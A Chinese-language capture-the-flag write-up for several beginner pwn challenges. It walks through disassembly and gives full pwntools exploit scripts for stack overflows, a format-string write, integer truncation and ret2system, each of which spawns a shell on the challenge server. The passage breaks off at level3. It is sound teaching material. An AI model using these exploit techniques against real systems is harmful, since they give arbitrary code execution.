攻防世界-新手区

新手区

Tomorrow always comes, and tomorrow always brings write-ups. ALWAYS FOLLOW UP A PROBLEM YOU WORKED ON, BY READING WRITE-UPS.

get_shell

下载后本地运行即可直接得到 shell ,所以只需要远程连接靶机IP和端口即可。

level 0

64位文件,checksec发现没有栈溢出保护。拖进 IDA 里,反编译后的伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}

ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

return read(0, &buf, 0x200uLL);
}

观察到 buf 的大小只有[rsp+0h] [rbp-80h],与栈底指针有 80h 的偏移,占用内存大小即为 80h ,但是,read 却可以读入 200h 的内容,这里会出现栈溢出。接下来需要我们寻找能利用的溢出后的位置

搜索字符串

1
2
3
4
5
6
7
8
9
10
11
LOAD:0000000000400200	0000001C	C	/lib64/ld-linux-x86-64.so.2
LOAD:0000000000400311 0000000A C libc.so.6
LOAD:000000000040031B 00000005 C read
LOAD:0000000000400320 00000007 C system
LOAD:0000000000400327 00000012 C __libc_start_main
LOAD:0000000000400339 00000006 C write
LOAD:000000000040033F 0000000F C __gmon_start__
LOAD:000000000040034E 0000000C C GLIBC_2.2.5
.rodata:0000000000400684 00000008 C /bin/sh
.rodata:000000000040068C 0000000E C Hello, World\n
.eh_frame:0000000000400747 00000006 C ;*3$\"

有现成的 /bin/sh 但是存放在只读的 rodata 区域,没法利用。我们发现了另一个函数 callsystem

1
2
3
4
5
6
7
8
9
10
11
.text:0000000000400596                 public callsystem
.text:0000000000400596 callsystem proc near
.text:0000000000400596 ; __unwind {
.text:0000000000400596 push rbp
.text:0000000000400597 mov rbp, rsp
.text:000000000040059A mov edi, offset command ; "/bin/sh"
.text:000000000040059F call _system
.text:00000000004005A4 pop rbp
.text:00000000004005A5 retn
.text:00000000004005A5 ; } // starts at 400596
.text:00000000004005A5 callsystem endp

这里将 /bin/sh 移动到了 edi 指向的内存,随后进行了系统调用,调用了 /bin/sh

反编译后的代码为:

1
2
3
4
int callsystem()
{
return system("/bin/sh");
}

所以我们可以在read 向 buf 输入内容时前 80h 我们正常输入,之后的输入我们将输入 callsystem() 所在的位置(注意是返回到函数起始位置,因为要重新建立栈帧),来返回一个 shell。

编写 payload 如下:

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote("111.200.241.244","64879")

gad = 0x400596
print(p64(gad))
payload = "a"*0x80 + p64(gad)
p.send(payload)
p.interactive()

运行发现失败了。失败原因是我们现在的 payload 并没有真正起到控制返回地址的作用。查看 main() 函数汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:00000000004005C6                 push    rbp
.text:00000000004005C7 mov rbp, rsp
.text:00000000004005CA sub rsp, 10h
.text:00000000004005CE mov [rbp+var_4], edi
.text:00000000004005D1 mov [rbp+var_10], rsi
.text:00000000004005D5 mov edx, 0Dh ; n
.text:00000000004005DA mov esi, offset aHelloWorld ; "Hello, World\n"
.text:00000000004005DF mov edi, 1 ; fd
.text:00000000004005E4 call _write
.text:00000000004005E9 mov eax, 0
.text:00000000004005EE call vulnerable_function
.text:00000000004005F3 leave
.text:00000000004005F4 retn
.text:00000000004005F4 ; } // starts at 4005C6
.text:00000000004005F4 main endp

在函数结束之前有一次 leave 操作,作用相当于

1
2
3
mov esp, ebp
pop ebp
ret

可以看到有一次 pop 操作,弹出了 64 位即8字节的数据,所以我们也要把这8字节加上(通过栈帧的结构我们也可以看出来在vlunerable_function函数被调用后,新栈帧中首先就保存了main函数的ebp指针,成为了当前新栈帧的ebp,为[ebp+0],而[ebp+4]保存了漏洞函数返回地址,即我们需要控制的地方),完整payload如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote("111.200.241.244","63630")

gad = 0x400596
print(p64(gad))
payload = "a"*0x80 + 'b'*0x8 + p64(gad)

p.send(payload)
p.interactive()

level2

checksec

1
2
3
4
5
6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

有栈溢出,但是栈上不可执行,需要找lib函数或者写好的后门。查看字符串

1
2
3
4
5
6
7
8
LOAD:0804824B	00000007	C	system
LOAD:08048252 00000012 C __libc_start_main
LOAD:08048264 0000000F C __gmon_start__
LOAD:08048273 0000000A C GLIBC_2.0
.rodata:08048540 0000000C C echo Input:
.rodata:0804854C 00000014 C echo 'Hello World!'
.eh_frame:080485CB 00000005 C ;*2$\"
.data:0804A024 00000008 C /bin/sh

发现0804A024 位置有 /bin/sh可以利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}

ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

system("echo Input:");
return read(0, &buf, 0x100u);
}

这两个函数中都有system() 函数,同时 read() 在 88h 大小的 buf 中接受 100h 的输入,会造成溢出。我们可以控制溢出点,将其指向 system() 函数处,然后传入 /bin/sh 的地址,来完成执行。这两个 system() 都可以利用。main() 中的call_system 位置在 0804849Evlunrable_fun() 中的 call_system 也可以,位置在 0804845C

Payload1:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

HOST = "111.200.241.244"
PORT = 52231
if len(sys.argv) > 1 and sys.argv[1] == '-r':
p = remote(HOST, PORT)
else:
p = process('./level2')

payload = "a"*0x88 + "b"*0x4 + p32(0x0804845C) + p32(0x0804A024)
p.recvuntil("Input:")
p.sendline(payload)
p.interactive()

这里注意汇编的最后通过 leave 来消除栈,包含了一次 pop ebp 操作,弹出了32位即4字节内容,所以我们payload也把这4字节加上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0804844B                 push    ebp
.text:0804844C mov ebp, esp
.text:0804844E sub esp, 88h
.text:08048454 sub esp, 0Ch
.text:08048457 push offset command ; "echo Input:"
.text:0804845C call _system
.text:08048461 add esp, 10h
.text:08048464 sub esp, 4
.text:08048467 push 100h ; nbytes
.text:0804846C lea eax, [ebp+buf]
.text:08048472 push eax ; buf
.text:08048473 push 0 ; fd
.text:08048475 call _read
.text:0804847A add esp, 10h
.text:0804847D nop
.text:0804847E leave
.text:0804847F retn

32位程序覆盖返回地址后直接传参数即可。

Payload2-攻击plt表:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

HOST = "111.200.241.244"
PORT = 52231
if len(sys.argv) > 1 and sys.argv[1] == '-r':
p = remote(HOST, PORT)
else:
p = process('./level2')

payload = "a"*0x88 + "b"*0x4 + p32(0x08048320) +p32(0x1929) + p32(0x0804A024)
p.recvuntil("Input:")
p.sendline(payload)
p.interactive()

在 IDA 左边我们发现了 plt 表中也有 system 调用,

1
2
3
4
int system(const char *command)
{
return system(command);
}

我们

32位程序运行中函数参数直接压入栈中,栈结构为

1
调用函数地址 -> 函数返回地址 -> 参数n .... -> 参数1

需要给一个返回值,我这里随便输的。

可以发现其实第一个payload 中我们利用的 call _system 它还是跳转到了 plt 表中,本质上还是一样的。

string

本题通过格式化字符串漏洞泄漏变量偏移,利用此偏移修改目标变量值,从而达到执行 shellcode 的条件。

反编译后的主要代码如下:

main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_DWORD *v3; // rax
__int64 v4; // ST18_8

setbuf(stdout, 0LL);
alarm(0x3Cu);
sub_400996();
v3 = malloc(8uLL);
v4 = (__int64)v3; // in fact,v4==v3
*v3 = 68; // *v3 != v3[1] right now
v3[1] = 85; // v3[1]'s value we already knew
puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
puts("we will tell you two secret ...");
printf("secret[0] is %x\n", v4, a2); // print v4's location
printf("secret[1] is %x\n", v4 + 4); // next to v4 location
puts("do not tell anyone ");
sub_400D72(v4);
puts("The End.....Really?");
return 0LL;
}

sub_400D72(v4)

1
2
3
4
5
6
7
8
9
10
11
if ( strlen(&s) <= 0xC )                      // length < 12
{
puts("Creating a new player.");
sub_400A7D(); //east
sub_400BB9(); //v2 & format
sub_400CA6((_DWORD *)a1); // passed v4,excuate shell
}
else
{
puts("Hei! What's up!");
}

sub_400A7D()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
puts("So, where you will go?east or up?:");
while ( 1 )
{
_isoc99_scanf((__int64)"%s", (__int64)&s1);
if ( !strcmp(&s1, "east") || !strcmp(&s1, "east") )// only east
break;
puts("hei! I'm secious!");
puts("So, where you will go?:");
}
if ( strcmp(&s1, "east") )
{
if ( !strcmp(&s1, "up") )
sub_4009DD();
puts("YOU KNOW WHAT YOU DO?");
exit(0);
}

sub_4009DD()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
puts("where you will go?!left(0) or right(1)?!:");
v0 = time(0LL);
srand(v0);
while ( 1 )
{
v2 = rand() % 2;
_isoc99_scanf((__int64)"%d", (__int64)&v1);
if ( v1 != v2 )
break;
puts("You escape it!but another hole appear!");
puts("where you will go?!left(0) or right(1)?!:");
}
puts("YOU ARE DEAD");
exit(0);

sub_400BB9()

1
2
3
4
5
6
7
8
9
10
11
12
if ( v1 == 1 )
{
puts("A voice heard in your mind");
puts("'Give me an address'");
_isoc99_scanf((__int64)"%ld", (__int64)&v2);
puts("And, you wish is:");
_isoc99_scanf((__int64)"%s", (__int64)&format);
puts("Your wish is");
printf(&format, &format); // vulnrable of printf
puts("I hear it, I hear it....");
}
return __readfsqword(0x28u) ^ v4;

sub_400CA6(a1)

1
2
3
4
5
6
7
if ( *a1 == a1[1] )
{
puts("Wizard: I will help you! USE YOU SPELL");
v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
read(0, v1, 0x100uLL);
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
}

代码在本地跑几次之后可以得到简化的代码执行流程如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
print(v4's address) 	// in fact,v4=v3
sub_400D72(v4)
print name
name_length < 12
sub_400A7D()
east
sub_400BB9()
input v1 = go into there
v1 == 1
input int v2 : address
input char format: wish
sub_400CA6(a1) // a1==v4==v3
*a1 == a1[1] // a1[1] == 85 we already knew,only we need // to do is make the a1=85, too.
mmap(0LL,0x1000uLL,) // locate in memeary
read(0,v1)
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);// excuate code what just readed

对代码进行分析后发现在最后进入的函数 400CA6 中,最后如果满足了 if(*a1=a1[1]) 进入条件语句中我们就可以通过开辟内存,通过 read 传入shellcode ,从而在内存中执行我们的 shellcode。

1
2
3
v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
read(0, v1, 0x100uLL);
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);

这段代码的汇编如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000400D07                 mov     edi, offset aWizardIWillHel ; "Wizard: I will help you! USE YOU SPELL"
.text:0000000000400D0C call puts
.text:0000000000400D11 mov r9d, 0 ; offset
.text:0000000000400D17 mov r8d, 0FFFFFFFFh ; fd
.text:0000000000400D1D mov ecx, 21h ; flags
.text:0000000000400D22 mov edx, 7 ; prot
.text:0000000000400D27 mov esi, 1000h ; len
.text:0000000000400D2C mov edi, 0 ; addr
.text:0000000000400D31 call mmap
.text:0000000000400D36 mov [rbp+buf], rax
.text:0000000000400D3A mov rax, [rbp+buf]
.text:0000000000400D3E mov edx, 100h ; nbytes
.text:0000000000400D43 mov rsi, rax ; buf
.text:0000000000400D46 mov edi, 0 ; fd
.text:0000000000400D4B call read
.text:0000000000400D50 mov rax, [rbp+buf]
.text:0000000000400D54 mov edi, 0
.text:0000000000400D59 call rax

可以看到在 mmap 分配了 1000h 的内存空间后read 读入了 100h 的内容,随后执行了 rax 中的内容。

那如何满足判断?我们查看函数参数的传递过程后发现,要比较的参数 a1 实际上就是 v4 也就是 v3 。而在 main 函数开始就已经给 *a1a1[1] 赋了不同的值,

1
2
*v3 = 68;					
v3[1] = 85;

所以我们要想办法修改二者其中之一的值,使其与另一个相等即可。

如何修改?在函数 400BB9 中我们发现了存在格式化字符串漏洞

1
2
3
4
5
_isoc99_scanf((__int64)"%ld", (__int64)&v2);
puts("And, you wish is:");
_isoc99_scanf((__int64)"%s", (__int64)&format);
puts("Your wish is");
printf(&format, &format); // 漏洞点

我们可以想办法将 v2 的地址指向 v3或者v3[1],然后修改其值为另外变量的值即可。

先利用格式化字符串漏洞泄漏出v2 的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# coding = utf-8
from pwn import *

HOST = "111.200.241.244"
PORT = 59601

context(log_level = 'debug', arch = 'amd64', os='linux')

# for executing code on remote or local
if len(sys.argv) > 1 and sys.argv[1] == '-r':
p = remote(HOST, PORT)
else:
p = process('./string')

log.info('Pwning start')

p.recvuntil("[0] is ")
add1 = int(p.recvuntil('\n'), 16) //turn to hex
p.recvuntil("[1] is ")
add2 = int(p.recvuntil('\n'), 16)

print add1,add2

p.recvuntil("What should your character's name be:\n")
p.sendline("brian")

p.recvuntil("So, where you will go?east or up?:\n")
p.sendline("east")

p.recvuntil("go into there(1), or leave(0)?:\n")
p.sendline("1")

p.recvuntil("'Give me an address'\n")
p.sendline('2')

offset = 'A'*4 + '.%x'*10
p.recvuntil("And, you wish is:\n")
p.sendline(offset)

通过我们之前的测试,前几步输入正确的字符串来让程序正确进行到 400BB9 函数处。接着在输入 address 时输入我们的测试数字2,接着尝试通过漏洞泄漏出变量的偏移量。程序执行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[DEBUG] Received 0x30 bytes:
'A voice heard in your mind\n'
"'Give me an address'\n"
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x12 bytes:
'And, you wish is:\n'
[DEBUG] Sent 0x23 bytes:
'AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n'
[*] Switching to interactive mode
[*] Process './string' stopped with exit code 0 (pid 13059)
[DEBUG] Received 0x17e bytes:
'Your wish is\n'
'AAAA.75d7b7e3.75d7c8c0.75a9f224.c.0.75d772a0.2.41414141.252e7825.2e78252eI hear it, I hear it....\n'
'Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!\n'

在我们输入 'AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n' 之后,我们得到的输出为:

AAAA.75d7b7e3.75d7c8c0.75a9f224.c.0.75d772a0.2.41414141.252e7825.2e78252eI

在偏移为7的位置看到了我们的测试输入 2 ,所以可以确定 v2 的偏移为7。

下一步我们可以将测试输入修改为 v3 的地址,然后通过格式化字符串漏洞将修改后的偏移量位置的值输入为v3[1] 的值,即85,来满足 v3=v3[1],从而顺利进入可执行 shellcode 的代码段 。

完整 payload 如下(这里我修改的是v3[1]的值,注意给v2传地址时要赋v4+4的地址,赋值时也要赋68,而不是85了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# coding = utf-8
from pwn import *

HOST = "111.200.241.244"
PORT = 59601

context(log_level = 'debug', arch = 'amd64', os='linux')

# for executing code on remote or local
if len(sys.argv) > 1 and sys.argv[1] == '-r':
p = remote(HOST, PORT)
else:
p = process('./string')

log.info('Pwning start')

p.recvuntil("[0] is ")
add1 = int(p.recvuntil('\n'), 16)
p.recvuntil("[1] is ")
add2 = int(p.recvuntil('\n'), 16)

print add1,add2

p.recvuntil("What should your character's name be:\n")
p.sendline("brian")

p.recvuntil("So, where you will go?east or up?:\n")
p.sendline("east")

p.recvuntil("go into there(1), or leave(0)?:\n")
p.sendline("1")

p.recvuntil("'Give me an address'\n")
p.sendline(str(add2))

offset = 'A'*4 + '.%x'*10
payload = '%68d%7$n'
p.recvuntil("And, you wish is:\n")
p.sendline(payload)

shell = asm(shellcraft.sh())
p.recvuntil("Wizard: I will help you! USE YOU SPELL\n")
p.sendline(shell)
p.interactive()

guess_num

64位文件,chseksec

1
2
3
4
5
6
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

开启了栈溢出保护,没办法栈上执行代码。

反编译后main()部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
v4 = 0;
v6 = 0;
*(_QWORD *)seed = sub_BB0();
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:", 0LL);
gets((__int64)&v7);
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v6 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v4);
puts("---------------------------------");
if ( v4 != v6 )
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();

sub_BB0()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
_int64 sub_BB0()
{
int fd; // [rsp+Ch] [rbp-14h]
__int64 buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
if ( fd < 0 || (signed int)read(fd, &buf, 8uLL) < 0 )
exit(1);
if ( fd > 0 )
close(fd);
return buf;
}

该函数没有溢出点,buf 只读了 8h

sub_C3E()

1
2
3
4
5
6
__int64 sub_C3E()
{
printf("You are a prophet!\nHere is your flag!");
system("cat flag");
return 0LL;
}

函数的逻辑是在经过10次比较,如果每次 v4==v6 都满足则可以 cat /flag 。而 v6 是通过随机函数而来。这里的 rand() 函数的种子被设置为了 seed[0],我们知道其实随机都是假随机,只要我们设置种子为0/1,即可得到相同的随机数。所以我们想办法控制随机种子。

在代码中我们注意到 v7(var_30) 和 seed 是栈上相邻的变量

1
2
3
4
5
6
.text:0000000000000C66 var_3C          = dword ptr -3Ch
.text:0000000000000C66 var_38 = dword ptr -38h
.text:0000000000000C66 var_34 = dword ptr -34h
.text:0000000000000C66 var_30 = byte ptr -30h
.text:0000000000000C66 seed = dword ptr -10h
.text:0000000000000C66 var_8 = qword ptr -8

v7 的地址空间大小为 char v7; // [rsp+10h] [rbp-30h] ,我们通过 gets(v7) 输入20h+1h来使其溢出到 seed,从而控制 seed。

在最后pwn之前,我们还需要找到使用随机函数的so库

1
2
3
4
5
$:ldd guess_num
linux-vdso.so.1 (0x00007ffd0a3b1000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe8e541c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe8e5a10000)

虽然源代码使用了so.2 ,但是本地测试发现用不了,采用了 so.6

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from ctypes import *

context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "111.200.241.244"
PORT = 49862
if len(sys.argv) > 1 and sys.argv[1] == '-r':
p = remote(HOST, PORT)
else:
p = process('./guess_num')

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)

payload = 'a'*0x20 + p64(1)
p.recvuntil("Your name:")
p.sendline(payload)

for i in range(10):
v6 = libc.rand() % 6 + 1;
p.recvuntil("Please input your guess number:")
p.sendline(str(v6))

p.interactive()

int_overflow

32位文件,查看保护

1
2
3
4
5
6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

没有检测栈溢出,堆栈代码不可执行。IDA打开

Main()函数没有问题,进入Login(),查看反汇编结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *login()
{
char buf; // [esp+0h] [ebp-228h]
char s; // [esp+200h] [ebp-28h]

memset(&s, 0, 0x20u);
memset(&buf, 0, 0x200u);
puts("Please input your username:");
read(0, &s, 0x19u);
printf("Hello %s\n", &s);
puts("Please input your passwd:");
read(0, &buf, 0x199u);
return check_passwd(&buf);
}

这里的read()同样没有溢出,函数最后经过check_passwd($buf)函数将最多输入0x199长度的参数传递过去。进入该函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
char *__cdecl check_passwd(char *s)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, s);
}
return result;
}

函数首先声明了 unsigned __int8 v3 ,8字节,最大值256。随后通过strlen()计算最大长度可达0x199的变量s的长度,将该变量长度复制给最大值为256的变量v3。这里存在整数溢出:

1
2
3
4
a = 0xffffffff;
b = 0x1;
c = a + b;
c = 0;

c 的最大宽度是8位,a+b之后结果应该是 0x100000000 ,但是由于c只能存储低8位,于是高位产生了截断,导致c只保存了 0x00000000,即c=0。

在接下来的if判断中,如果没有通过判断,即长度 3<v3<8 可以执行strcpy(),将函数自己带过来的参数复制到变量 dest中,而这个变量距离ebp有0x14字节的距离,我们可以通过此来使得栈溢出,首先填充到$ebp(0x14字节),然后越过previous $ebp(4字节),覆盖到返回地址。

现在有几个问题:

  1. 如何经过if判断?
  2. 覆盖到返回地址需要填充多少字节?
  3. 让函数返回到哪里?

对第一个问题,我们利用整数溢出,条件是3-8之间,那我们只需要256+3或256+8即可让其溢出后只保留低位的数字。如果我们只用3-8之间的参数数量去输入,那我们的payload不够写。

对第二个问题,其实上文已经说了需要填充 0x14+4。同时为了满足if判断,我们要用256+8(我们这里选择了较大的数)来减去填充的数据,以及返回地址的长度:256+8-0x14-4-8=234个字节填充数据,来给到s足够的长度。

对第三个问题,我们可以找到题目的后门函数what is this

1
2
3
4
int what_is_this()
{
return system("cat flag");
}

其函数起始地址为0x804868B,此即用作函数返回地址。

于是,payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "111.200.241.244"
PORT = 63884

if len(sys.argv) > 1 and sys.argv[1] == '-r':
p = remote(HOST, PORT)
else:
p = process('./int_overflow')

# backdoor func addr
retaddr = 0x804868B

# padding 0x14 + 4($ebp) + 8(addr) + 232
payload = "A"*0x14 + "BBBB" + p32(retaddr) + "b"*234

p.recvuntil("Your choice:")
p.sendline("1")

p.recvuntil("Please input your username:\n")
p.sendline("admin")

p.recvuntil("Please input your passwd:\n")
p.sendline(payload)

p.interactive()

cgpwn2

32位程序,查看保护

1
2
3
4
5
CANARY    : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

没有开启栈保护和地址随机化,开启了堆栈代码不可执行,我们要想办法利用题目自身的代码。

本地运行完知道基本功能后,打开IDA查看:定位到hello()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
char *hello()
{
char *v0; // eax
signed int v1; // ebx
unsigned int v2; // ecx
char *v3; // eax
char s; // [esp+12h] [ebp-26h]
int v6; // [esp+14h] [ebp-24h]

v0 = &s;
v1 = 30;
if ( (unsigned int)&s & 2 )
{
*(_WORD *)&s = 0;
v0 = (char *)&v6;
v1 = 28;
}
v2 = 0;
do
{
*(_DWORD *)&v0[v2] = 0;
v2 += 4;
}
while ( v2 < (v1 & 0xFFFFFFFC) );
v3 = &v0[v2];
if ( v1 & 2 )
{
*(_WORD *)v3 = 0;
v3 += 2;
}
if ( v1 & 1 )
*v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&s);
}

gets()明显存在溢出,先来判断一下需要溢出多少(char s; // [esp+12h] [ebp-26h]这里IDA判断出与ebp的偏移为0x26,但我们为了防止不出错,还是自己验证一下的好)。使用GDB在gets()下断点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
r
Starting program: /home/brian/桌面/adworld/cgpwn2
please tell me your name
admin
hello,you can leave some message here:

Breakpoint 1, 0x080485f7 in hello ()
gdb-peda$ n
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

[----------------------------------registers-----------------------------------]
EAX: 0xffffd112 ('A' <repeats 38 times>, "BBBB")
EBX: 0x0
ECX: 0xf7fb45c0 --> 0xfbad208b
EDX: 0xf7fb589c --> 0x0
ESI: 0x1c
EDI: 0x0
EBP: 0xffffd138 ("BBBB")
ESP: 0xffffd100 --> 0xffffd112 ('A' <repeats 38 times>, "BBBB")
EIP: 0x80485fc (<hello+154>: nop)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80485f1 <hello+143>: lea eax,[ebp-0x26]
0x80485f4 <hello+146>: mov DWORD PTR [esp],eax
0x80485f7 <hello+149>: call 0x80483f0 <gets@plt>
=> 0x80485fc <hello+154>: nop
0x80485fd <hello+155>: add esp,0x30
0x8048600 <hello+158>: pop ebx
0x8048601 <hello+159>: pop esi
0x8048602 <hello+160>: pop ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffd100 --> 0xffffd112 ('A' <repeats 38 times>, "BBBB")
0004| 0xffffd104 --> 0x32 ('2')
0008| 0xffffd108 --> 0xf7fb45c0 --> 0xfbad208b
0012| 0xffffd10c --> 0x0
0016| 0xffffd110 --> 0x41414000 ('')
0020| 0xffffd114 ('A' <repeats 36 times>, "BBBB")
0024| 0xffffd118 ('A' <repeats 32 times>, "BBBB")
0028| 0xffffd11c ('A' <repeats 28 times>, "BBBB")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080485fc in hello ()
gdb-peda$ x/20wx $ebp-4 //从ebp-4开始查看20个内存单元的内容
0xffffd134: 0x41414141 0x42424242 0x08048600 0xf7fb4ce0
0xffffd144: 0x00000000 0x0804867b 0x00000000 0xf7fb4000
0xffffd154: 0xf7fb4000 0x00000000 0xf7df4f21 0x00000001
0xffffd164: 0xffffd1f4 0xffffd1fc 0xffffd184 0x00000001
0xffffd174: 0x00000000 0xf7fb4000 0xf7fe571a 0xf7ffd000
gdb-peda$ x/20wx $ebp
0xffffd138: 0x42424242 0x08048600 0xf7fb4ce0 0x00000000
0xffffd148: 0x0804867b 0x00000000 0xf7fb4000 0xf7fb4000
0xffffd158: 0x00000000 0xf7df4f21 0x00000001 0xffffd1f4
0xffffd168: 0xffffd1fc 0xffffd184 0x00000001 0x00000000
0xffffd178: 0xf7fb4000 0xf7fe571a 0xf7ffd000 0x00000000

可以看到,在我们输入38个A之后,剩余的4个B(’A’ <repeats 38 times>, “BBBB”)刚好覆盖完了ebp(EBP: 0xffffd138 (“BBBB”))。

ok,那么38个A+4个B之后的4字节就是我们要覆盖的返回地址,那我们要让它返回到哪里?查看程序还发现了题目预留的后门函数pwn():

1
2
3
4
int pwn()// starts at 804854D
{
return system("echo hehehe");
}

虽然system函数的参数已经写好了,我们先让函数返回到这里试试能不能成功执行给定的参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

if len(sys.argv) > 1 and sys.argv[1] == '-r':
p = remote(HOST, PORT)
else:
p = process('./cgpwn2')

# ebp-> 'A' <repeats 38 times>, "BBBB"

p.recvuntil("please tell me your name\n")
p.sendline("whoami")

payload = "A"*38 + "BBBB" + p32(0x804854D)
p.recvuntil("hello,you can leave some message here:")
p.sendline(payload)

p.interactive()

我们从终端看到成功输出hehehe,接下来考虑如何让system执行/bin/sh等命令。

一般来说函数的调用方式都是参数+返回地址+函数地址按照这个顺序入栈随后带着传入的参数执行函数。

函数调用过程栈变化

函数地址好说,这里的函数地址不再是我们上面代码中的0x804854D(这是pwn()的地址),我们只需要system()。我们在pwn()中找到call _system汇编,点击_system即可看到system()的具体信息 0x8048420

1
2
3
4
5
6
7
.plt:08048420 ; int system(const char *command)
.plt:08048420 _system proc near ; CODE XREF: pwn+D↓p
.plt:08048420
.plt:08048420 command = dword ptr 4
.plt:08048420
.plt:08048420 jmp ds:off_804A01C
.plt:08048420 _system endp

返回地址也好说,我们目标只是让它执行,执行完去哪不重要,随便给4字节就行。

参数不好说,因为函数调用时我们说的参数不是字符串,实际上还是一个指向参数的地址。我们要到哪里找一个内容是我们控制的地址?fgets()函数!

在gets()上面我们可以输入通过fgets()输入内容,会被保存到变量 name 中。fgets()比gets()函数安全,因为它限制了输入长度,通常不会产生溢出。找到name的地址为0x0804A080,我们在第一步输入名字时输入想要执行的命令即可,那么payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "111.200.241.244"
PORT = 63884

if len(sys.argv) > 1 and sys.argv[1] == '-r':
p = remote(HOST, PORT)
else:
p = process('./cgpwn2')

# ebp-> 'A' <repeats 38 times>, "BBBB"

p.recvuntil("please tell me your name\n")
p.sendline("whoami")

# payload = padding + system_addr + ret_addr + argu_addr
payload = "A"*38 + "BBBB" + p32(0x8048420) + "c"*4 + p32(0x804A080)
p.recvuntil("hello,you can leave some message here:")
p.sendline(payload)

p.interactive()

这里在本地调试,我们成功执行了whoami 命令,接下来只需要修改命令即可。

level3

这道题开始有那味了。

题目给的附件中给出了libc.so文件,附件为32位ELF文件,保护:

